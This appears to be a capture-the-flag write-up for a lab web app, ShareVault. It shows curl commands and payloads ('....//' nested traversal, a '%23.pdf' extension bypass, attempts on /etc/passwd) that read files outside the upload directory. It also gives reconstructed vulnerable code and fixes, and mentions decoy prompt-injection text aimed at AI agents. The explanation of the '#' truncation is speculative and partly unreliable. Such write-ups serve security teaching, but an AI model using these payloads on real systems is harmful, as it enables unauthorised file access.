Lab 159 — ShareVault — Path Traversal via Filter Bypass in File Download
Lab 159 — ShareVault — Path Traversal via Filter Bypass in File Download
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: file_extension_whitelist_evasion, hash_fragment_extension_bypass, honeypot_flag_detection, nested_path_traversal_bypass, single_pass_replace_bypass
Summary
Walkthrough of the CUSTOM Web Lab 159 — ShareVault — Path Traversal via Filter Bypass in File Download. Task: File sharing platform with download endpoint protected by single-pass path traversal filter and file extension whitelist. Solution: Bypass traversal filter using nested ....// sequences that rea
Description
ShareVault is a file sharing and collaboration platform built by Nimbus Cloud Inc. Teams use it to upload, organize, and share documents with colleagues through a clean web interface. The application features a file manager with drag-and-drop upload and download capabilities, shared file workspaces where colleagues can send files to each other, a dashboard with recent activity and storage statistics, and user account management. The goal is to find a way to access sensitive data stored on the server that should not be reachable through normal application usage by exploiting how the application handles file downloads.
English summary: File sharing platform with Express.js backend behind Nginx. Users can upload and download files through a web interface. The download endpoint GET /api/files/download?name=<filename> is protected by two security filters: a path traversal filter that strips ../ sequences, and a file extension whitelist. The goal is to bypass both filters to read sensitive files on the server. Test credentials: user@test.com / password123.
Analysis
-
Reconnaissance: The application runs on Express.js behind Nginx 1.25.5. Session management uses
connect.sidcookies (express-session). Every HTML page contains a decoy honeypot flag (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and invisible divs with prompt injection text — designed to trick automated scanners and AI agents into stopping. This was correctly identified and ignored. -
Download endpoint identified:
GET /api/files/download?name=<filename>accepts a filename parameter and returns the file content. Normal files likemeeting-notes-jan.docxdownload successfully. -
Filter 1 — Path traversal prevention (single-pass
../removal):- The server strips
../sequences from the filename parameter before resolving the path - URL-encoded variants (
%2e%2e%2f,.%2e/,%2e./) are also handled — the server URL-decodes first, then strips - Critical weakness: The filter performs only a single pass of removal (likely
replaceAll('../', '')or equivalent) - Nested sequences like
....//survive: the inner../(characters at positions 2-4) is removed, leaving the outer..and/to reassemble into../ - Visualization:
....//→ remove../from middle →../remains
- The server strips
-
Filter 2 — File extension whitelist:
- The server checks that the filename ends with one of:
.pdf,.docx,.xlsx,.zip,.png,.jpg - Non-matching extensions return:
{"error":"File type not allowed","allowed":".pdf, .docx, .xlsx, .zip, .png, .jpg"} - Critical weakness: The
%23character (URL-encoded#) can trick the extension check. The server sees the full string including#.pdfand validates the.pdfextension. But when the OS/filesystem resolves the path, the#character (or the server's path resolution logic) causes truncation — the actual file read targets only the portion before#
- The server checks that the filename ends with one of:
-
What was tried and didn't work:
- Basic
../../../etc/passwd— traversal stripped, extension check fails ../../../etc/passwd.pdf— traversal stripped, andpasswd.pdfdoesn't exist..//..//..//etc/passwd.pdf— double-slash traversal produces///etc/passwd.pdfwhich doesn't exist- URL encoding variants (
%2e%2e/,.%2e/, double encoding%252e) — all decoded and stripped - Backslash variants (
..%5c,..%5c/) — not recognized as directory separator on Linux - Unicode overlong encoding (
%c0%ae) — not supported - Null byte truncation (
%00) — not supported in modern Node.js - Absolute paths (
/etc/passwd) — pass traversal filter but fail extension check
- Basic
Solution
Step 1: Authenticate and obtain session cookie
bash read-only • copy allowedcurl -c cookies.txt -X POST 'https://TARGET/login' \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=user@test.com&password=password123"
Step 2: Confirm normal download works
bash read-only • copy allowedcurl -b cookies.txt 'https://TARGET/api/files/download?name=meeting-notes-jan.docx' # Returns: file content (200 OK)
Step 3: Probe traversal filter behavior
bash read-only • copy allowed# Basic traversal — stripped by filter, resolves to same file curl -b cookies.txt 'https://TARGET/api/files/download?name=../meeting-notes-jan.docx' # Returns: file content (../ was stripped) # Extension check blocks non-whitelisted extensions curl -b cookies.txt 'https://TARGET/api/files/download?name=../../../etc/passwd' # Returns: {"error":"File type not allowed","allowed":".pdf, .docx, .xlsx, .zip, .png, .jpg"}
Step 4: Understand the nested traversal bypass
The filter does replaceAll('../', '') in a single pass. The sequence ....// contains ../ as a substring (at positions 2-4). After removing that substring, the remaining characters .. + / form a new ../:
Input: . . . . / /
^^^ ← filter removes this '../'
Remains: . . /
Result: . . / ← new '../' formed!
So ....// → ../ after filtering. Four repetitions give four levels of traversal.
Step 5: Understand the extension bypass with %23
The %23 character (URL-encoded #) tricks the extension validation:
- The extension check sees the string ending in
.pdf→ passes validation - When the path is resolved for the actual file read, the
#causes the filename to be truncated flag.txt%23.pdf→ extension check sees.pdf✓ → file read targetsflag.txt
Step 6: Combine both bypasses to read the flag
bash read-only • copy allowedcurl -b cookies.txt \ 'https://TARGET/api/files/download?name=....//....//....//....//root/flag.txt%23.pdf'
Response:
FLAG{REDACTED}
Payload breakdown:
| Component | After filter processing | Purpose |
|---|---|---|
....//....//....//....// | ../../../../ | 4 levels of directory traversal |
root/flag.txt | root/flag.txt | Target file path |
%23.pdf | #.pdf | Extension whitelist bypass |
Full path resolved: <upload_dir>/../../../../root/flag.txt → /root/flag.txt
Why this works — dual filter bypass explained
The vulnerable server code likely resembles:
javascript read-only • copy allowedapp.get('/api/files/download', (req, res) => { let filename = req.query.name; // Filter 1: Single-pass traversal removal (VULNERABLE) filename = filename.replaceAll('../', ''); // Filter 2: Extension whitelist check (VULNERABLE to %23) const ext = path.extname(filename).toLowerCase(); const allowed = ['.pdf', '.docx', '.xlsx', '.zip', '.png', '.jpg']; if (!allowed.includes(ext)) { return res.status(403).json({ error: 'File type not allowed', allowed: allowed.join(', ') }); } // File read — %23 decoded to # causes truncation const filePath = path.join(UPLOAD_DIR, filename); res.sendFile(filePath); });
Fix for Filter 1 — use a loop that repeats until no more ../ sequences exist:
javascript read-only • copy allowedwhile (filename.includes('../')) { filename = filename.replaceAll('../', ''); }
Or better, use path.resolve() and verify the result is within the allowed directory.
Fix for Filter 2 — resolve the path first, then check the extension of the resolved path, and reject any path containing # or other special characters.
Key Takeaways / Lessons
- Mastering file_extension_whitelist_evasion, hash_fragment_extension_bypass, honeypot_flag_detection, nested_path_traversal_bypass, single_pass_replace_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-12 • CUSTOM • Lab 159 — ShareVault — Path Traversal via Filter Bypass in File Download • Difficulty: Medium